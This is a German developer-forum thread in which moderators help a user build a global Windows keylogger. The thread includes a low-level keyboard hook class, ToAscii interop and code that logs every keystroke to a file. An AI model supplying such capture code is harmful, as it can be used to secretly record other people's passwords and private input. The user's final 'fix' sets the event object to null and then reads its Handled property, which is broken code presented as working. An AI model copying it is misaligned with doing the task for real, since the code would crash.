none
e.KeyCode in ASCII formatieren RRS feed

  • Frage

  • Hallo und einen schönen Tag euch!

    Ich programmier grade einen Keylogger, für meinen Homeserver, damit ich kontrollieren kann, ob sich jemand von aussen einklinkt. Naja soweit so gut, die GlobalHooks stehen, aber ich schaff's nicht, dass meinen KeyCode in ASCII Format in eine Textdatei zu schreiben.

    Ich poste mal den Code vom Key_Down Event, vlt kann mir ja hier wer helfen.

    void ghook_KeyDown(object sender, KeyEventArgs e)
            {
                if (e.KeyCode == Keys.LShiftKey)
                {
                    keylogger_str = "[SHIFT]";
                }
                else if (e.KeyCode == Keys.RShiftKey)
                {
                    keylogger_str = "[SHIFT]";
                }
                else if (e.KeyCode == Keys.Alt)
                {
                    keylogger_str = "[ALT]";
                }
                else if (e.KeyCode == Keys.Control)
                {
                    keylogger_str = "[STRG]";
                }
                else if (e.KeyCode == Keys.OemMinus)
                {
                    keylogger_str = "-";
                }
                else
                {
                    keylogger_str = Convert.ToChar(e.KeyValue).ToString();
                }
    
                keylog_stre = new StreamWriter("keylog.txt");
                keylog_stre.Write(keylogger_str);
                keylog_stre.Close();
            }

    MfG,

    Rhok

    Dienstag, 22. April 2014 11:55

Antworten

  • Speicherst du das Zeichen im KeyDown und im KeyUp Event?
    Das wäre die einzige logische Erklräung dafür.

    Sonst setze mal einen BreakPoint in der hookproc-Methode an folgender Stelle:

    public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
    	if (code >= 0) {
    		Keys key = (Keys)lParam.vkCode;
    		if (HookedKeys.Contains(key)) {
    			KeyEventArgs kea = new KeyEventArgs(key);
    			if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
    				KeyDown(this, kea);//In diese Zeile klicken und F9 drücken
    			} else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) {
    				KeyUp(this, kea);
    			}
    			if (kea.Handled)
    				return 1;
    		}
    	}
    	return CallNextHookEx(hhook, code, wParam, ref lParam);
    }

    Der Quellcode wird dann an dieser Stelle angehalten. Mit dem kleinen grünen Pfeil in der Debuggen-Toolbar kannst du fortfahren.

    Wenn du eine Taste drückst, sollte dieser Punkt nur einmal angesprungen werden.


    Tom Lambert - C# MVP
    Bitte bewertet- und markiert Beiträge als Antwort. Danke.
    Nützliche Links: .NET Quellcode | C# ↔ VB.NET Konverter
    Ich: Webseite | Code Beispiele | Facebook | Twitter | Snippets

    • Als Antwort markiert Rhok Dienstag, 22. April 2014 16:26
    Dienstag, 22. April 2014 16:07
    Moderator

Alle Antworten

  • Hallo,
    wichtig wäre zu erfahren, welche Bibliothek du für den Keylogger einsetzt.

    Grundsätzlich solltest du über die WinAPI an die korrekte Taste heran kommen:

    private void textBox1_KeyDown(object sender, KeyEventArgs e)//Eventhandler deines Keyloggers
    {
        var c = GetAsciiCharacter((int)e.KeyCode, 0);//Zeichen heraus finden
        textBox2.Text += c;//Zeichen in einer TextBox ausgeben, benutze entsprechend einen Stream zums chreiben einer Datei
    }
    //Nachfolgend: WinAPI-Funktionen importieren [DllImport("User32.dll")] public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpChar, int uFlags); [DllImport("User32.dll")] public static extern int GetKeyboardState(byte[] pbKeyState); public static char GetAsciiCharacter(int uVirtKey, int uScanCode) { byte[] lpKeyState = new byte[256]; GetKeyboardState(lpKeyState);//Tastaturzustand auslesen byte[] lpChar = new byte[2]; if (ToAscii(uVirtKey, uScanCode, lpKeyState, lpChar, 0) == 1) { return (char)lpChar[0];//gedrücktes Zeichen zurück geben } else { return '\0';//"Leeres" Zeichen } }
    Statt ToAscii kannst du auch ToUnicode verwenden.


    Tom Lambert - C# MVP
    Bitte bewertet- und markiert Beiträge als Antwort. Danke.
    Nützliche Links: .NET Quellcode | C# ↔ VB.NET Konverter
    Ich: Webseite | Code Beispiele | Facebook | Twitter | Snippets

    Dienstag, 22. April 2014 12:39
    Moderator
  • Hallo,

    Da ich einen GlobalenKeylogger machen wollte, hab ich mir eine Klasse aus dem Internet downgeloaded

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Runtime.InteropServices;
    using System.Windows.Forms;
    
    namespace fidi {
    	/// <summary>
    	/// A class that manages a global low level keyboard hook
    	/// </summary>
    	class globalKeyboardHook {
    		#region Constant, Structure and Delegate Definitions
    		/// <summary>
    		/// defines the callback type for the hook
    		/// </summary>
    		public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
    
    		public struct keyboardHookStruct {
    			public int vkCode;
    			public int scanCode;
    			public int flags;
    			public int time;
    			public int dwExtraInfo;
    		}
    
    		const int WH_KEYBOARD_LL = 13;
    		const int WM_KEYDOWN = 0x100;
    		const int WM_KEYUP = 0x101;
    		const int WM_SYSKEYDOWN = 0x104;
    		const int WM_SYSKEYUP = 0x105;
    		#endregion
    
    		#region Instance Variables
    		/// <summary>
    		/// The collections of keys to watch for
    		/// </summary>
    		public List<Keys> HookedKeys = new List<Keys>();
    		/// <summary>
    		/// Handle to the hook, need this to unhook and call the next hook
    		/// </summary>
    		IntPtr hhook = IntPtr.Zero;
    		#endregion
    
    		#region Events
    		/// <summary>
    		/// Occurs when one of the hooked keys is pressed
    		/// </summary>
    		public event KeyEventHandler KeyDown;
    		/// <summary>
    		/// Occurs when one of the hooked keys is released
    		/// </summary>
    		public event KeyEventHandler KeyUp;
    		#endregion
    
    		#region Constructors and Destructors
    		/// <summary>
    		/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
    		/// </summary>
    		public globalKeyboardHook() {
    			hook();
    		}
    
    		/// <summary>
    		/// Releases unmanaged resources and performs other cleanup operations before the
    		/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
    		/// </summary>
    		~globalKeyboardHook() {
    			unhook();
    		}
    		#endregion
    
    		#region Public Methods
    		/// <summary>
    		/// Installs the global hook
    		/// </summary>
    		public void hook() {
    			IntPtr hInstance = LoadLibrary("User32");
    			hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
    		}
    
    		/// <summary>
    		/// Uninstalls the global hook
    		/// </summary>
    		public void unhook() {
    			UnhookWindowsHookEx(hhook);
    		}
    
    		/// <summary>
    		/// The callback for the keyboard hook
    		/// </summary>
    		/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
    		/// <param name="wParam">The event type</param>
    		/// <param name="lParam">The keyhook event information</param>
    		/// <returns></returns>
    		public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
    			if (code >= 0) {
    				Keys key = (Keys)lParam.vkCode;
    				if (HookedKeys.Contains(key)) {
    					KeyEventArgs kea = new KeyEventArgs(key);
    					if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
    						KeyDown(this, kea);
    					} else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) {
    						KeyUp(this, kea);
    					}
    					if (kea.Handled)
    						return 1;
    				}
    			}
    			return CallNextHookEx(hhook, code, wParam, ref lParam);
    		}
    		#endregion
    
    		#region DLL imports
    		/// <summary>
    		/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
    		/// </summary>
    		/// <param name="idHook">The id of the event you want to hook</param>
    		/// <param name="callback">The callback.</param>
    		/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
    		/// <param name="threadId">The thread you want to attach the event to, can be null</param>
    		/// <returns>a handle to the desired hook</returns>
    		[DllImport("user32.dll")]
    		static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
    
    		/// <summary>
    		/// Unhooks the windows hook.
    		/// </summary>
    		/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
    		/// <returns>True if successful, false otherwise</returns>
    		[DllImport("user32.dll")]
    		static extern bool UnhookWindowsHookEx(IntPtr hInstance);
    
    		/// <summary>
    		/// Calls the next hook.
    		/// </summary>
    		/// <param name="idHook">The hook id</param>
    		/// <param name="nCode">The hook code</param>
    		/// <param name="wParam">The wparam.</param>
    		/// <param name="lParam">The lparam.</param>
    		/// <returns></returns>
    		[DllImport("user32.dll")]
    		static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
    
    		/// <summary>
    		/// Loads the library.
    		/// </summary>
    		/// <param name="lpFileName">Name of the library</param>
    		/// <returns>A handle to the library</returns>
    		[DllImport("kernel32.dll")]
    		static extern IntPtr LoadLibrary(string lpFileName);
    		#endregion
    	}
    }
    

    vielleicht liegt da der Fehler, aber wie gesagt, ich hab das nur downgeloaded und mich nicht wirklich damit beschäftigt.

    Dienstag, 22. April 2014 13:00
  • Hallo Rhok,

    Sie können mit dem e.KeyChar [1] von dem Key_Press-Event [2] den KeyCode direkt in ASCII-Code konvertieren.
    Da die "ALT" Taste nicht abgerufen werden kann, sollte man diese Taste separate über den Key_Down-Event Handler abfragen. 
    Außerdem sollten Sie den StreamWriter mit dem Konstruktor unter [3] initialisieren, damit das Inhalt der txt-Datei nicht überschrieben wird.

    Zum Beispiel:
    keylog_stre = new StreamWriter("keylog.txt", true);

    Unter [4] befindet sich eine Diskussion über ein ähnliches Problem. Da finden Sie ein paar mögliche Probleme mit dem Key_Down-Event.

    [1] http://msdn.microsoft.com/de-de/library/system.windows.forms.keypresseventargs.keychar(v=vs.110).aspx
    [2] http://msdn.microsoft.com/de-de/library/system.windows.forms.control.keypress(v=vs.110).aspx
    [3] http://msdn.microsoft.com/de-de/library/36b035cb(v=vs.110).aspx
    [4] http://social.msdn.microsoft.com/Forums/en-US/88d5ae74-0c1f-4b9f-8be0-de3a64a84d56/keycode-to-keychar 

    Wir hoffen, vielen Besuchern der MSDN Foren durch das Posten dieses Problems und einer möglichen Lösung weiterhelfen zu können.

    Viele Grüße,
    Bo Liu     
    App-Entwickler-Hotline für MSDN Online Deutschland

    Disclaimer:
    Bitte haben Sie Verständnis dafür, dass wir hier auf Rückfragen gar nicht oder nur sehr zeitverzögert antworten können.
    Bitte nutzen Sie für Rückfragen oder neue Fragen den telefonischen Weg über die App-Entwickler-Hotline: http://www.msdn-online.de/Hotline
    App-Entwickler-Hotline: Schnelle & kompetente Hilfe für Entwickler: kostenfrei!

    Es gelten für die App-Entwickler-Hotline und dieses Posting diese Nutzungsbedingungen, Hinweise zu Markenzeichen, Informationen zur Datensicherheit sowie die gesonderten Nutzungsbedingungen für die App-Entwickler-Hotline.

    Dienstag, 22. April 2014 13:26
  • Hast du meinen Code auch mal probiert?

    Die von dir gepostete Klasse sieht soweit korrekt aus. Mein Code erwartet, das die EventArgs des KeyDown-Events ordentlich erzeugt wurden. Dann ist es auch kein Problem die Zeichen heraus zu finden. Du musst nur entsprechend meine 2 Zeilen für deinen Code umsetzen:

    var c = GetAsciiCharacter((int)e.KeyCode, 0);//Zeichen heraus finden
    textBox2.Text += c;//Zeichen in einer TextBox ausgeben, benutze entsprechend einen Stream zum schreiben einer Datei

    Die restlichen 3 Methoden müssen natürlich in deiner Klasse vorhanden sein.

    Wenn du ein Problem beim schreiben der Datei hast, hier findest du ein Beispiel. Die Version mit dem StreamWriter dürfte für dich die beste sein, da du den Stream wärend der Laufzeit des Programms offen lassen kannst und so ohne Probleme jederzeit in die Datei schreiben kannst.
    Beim Programmende schließt du den Stream wieder mit Close() und Dispose().

    PS: Tasten Wie Shift und Steuerung können damit natürlich nicht erzeugt werden, da dies keine Zeichen sind. Diese müsstest du manuell heraus filtern und verarbeiten. (Mit der KeyCode-Eigenschaft der EventArgs)

    PPS: @raulliubo: In der von Rhok gezeigten Klasse gibt es leider kein KeyPress-Event, weswegen das so nicht funktionieren wird. Die einfachste Möglichkeit geht wirklich über die Windows API, da nur so auch Kulturspezifische Zeichen (ä, ö, ü, ...) ordentlich dekodiert werden.


    Tom Lambert - C# MVP
    Bitte bewertet- und markiert Beiträge als Antwort. Danke.
    Nützliche Links: .NET Quellcode | C# ↔ VB.NET Konverter
    Ich: Webseite | Code Beispiele | Facebook | Twitter | Snippets


    Dienstag, 22. April 2014 13:28
    Moderator
  • Oh ja genau, hatte gar nicht daran gedacht, dass ich deinen Code portieren könnte, aber ja, funktioniert einwandfrei :) & die Funktionstasten fang ich sowieso ab :)

    Jetzt hab ich nur dass Problem, dass er mir den Buchstaben immer in die Datei schreibt, so lange ich auf die Taste drücke, kann ich das irgendwie ändern?
    Dienstag, 22. April 2014 14:19
  • Du meinst also, dass wenn man eine Taste gedrückt hält, oder?

    Das könntest du nur verhindern, wenn du guckst ob sich das zuletzt gedrückte zeichen vom jetzigen Zeichen unterscheidet.

    Ich würde es aber nicht machen, da das gedrückt halten einer taste ebenfalls korrekte Eingaben erzeugt. Sonst würdest du beispielsweise nicht heraus finden, wie viele Zeichen ein Benutzer wieder weg gelöscht hat - da du nur einmal die Zurücktaste registriert hättest.
    Außerdem gibt es mehr als genug Dinge bei denen man zwei oder dreimal die selbe Taste hinter einander drücken muss. Das würdest du hier auch nicht bemerken.


    Tom Lambert - C# MVP
    Bitte bewertet- und markiert Beiträge als Antwort. Danke.
    Nützliche Links: .NET Quellcode | C# ↔ VB.NET Konverter
    Ich: Webseite | Code Beispiele | Facebook | Twitter | Snippets

    Dienstag, 22. April 2014 14:25
    Moderator
  • mmh stimmt, aber ich hab jetzt jedes Zeichen doppelt in meiner Datei, obwohl ich es nicht doppelt eingegeben habe, kann ich das irgendwie ändern?
    Dienstag, 22. April 2014 14:29
  • Speicherst du das Zeichen im KeyDown und im KeyUp Event?
    Das wäre die einzige logische Erklräung dafür.

    Sonst setze mal einen BreakPoint in der hookproc-Methode an folgender Stelle:

    public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
    	if (code >= 0) {
    		Keys key = (Keys)lParam.vkCode;
    		if (HookedKeys.Contains(key)) {
    			KeyEventArgs kea = new KeyEventArgs(key);
    			if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
    				KeyDown(this, kea);//In diese Zeile klicken und F9 drücken
    			} else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) {
    				KeyUp(this, kea);
    			}
    			if (kea.Handled)
    				return 1;
    		}
    	}
    	return CallNextHookEx(hhook, code, wParam, ref lParam);
    }

    Der Quellcode wird dann an dieser Stelle angehalten. Mit dem kleinen grünen Pfeil in der Debuggen-Toolbar kannst du fortfahren.

    Wenn du eine Taste drückst, sollte dieser Punkt nur einmal angesprungen werden.


    Tom Lambert - C# MVP
    Bitte bewertet- und markiert Beiträge als Antwort. Danke.
    Nützliche Links: .NET Quellcode | C# ↔ VB.NET Konverter
    Ich: Webseite | Code Beispiele | Facebook | Twitter | Snippets

    • Als Antwort markiert Rhok Dienstag, 22. April 2014 16:26
    Dienstag, 22. April 2014 16:07
    Moderator
  • Super Danke! Das war die Zeile, die mir alle Zeichen doppelt und dreifach ausgab. Hab jetz einfach den Code so geändert.

    if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
    {
    KeyDown(this, kea);
    kea = null;
    }
    else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) 
    {
    KeyUp(this, kea);
    kea = null;
    }
    if (kea.Handled)
    {
    return 1;
    }

    Jetzt geht es :)

    Dienstag, 22. April 2014 16:25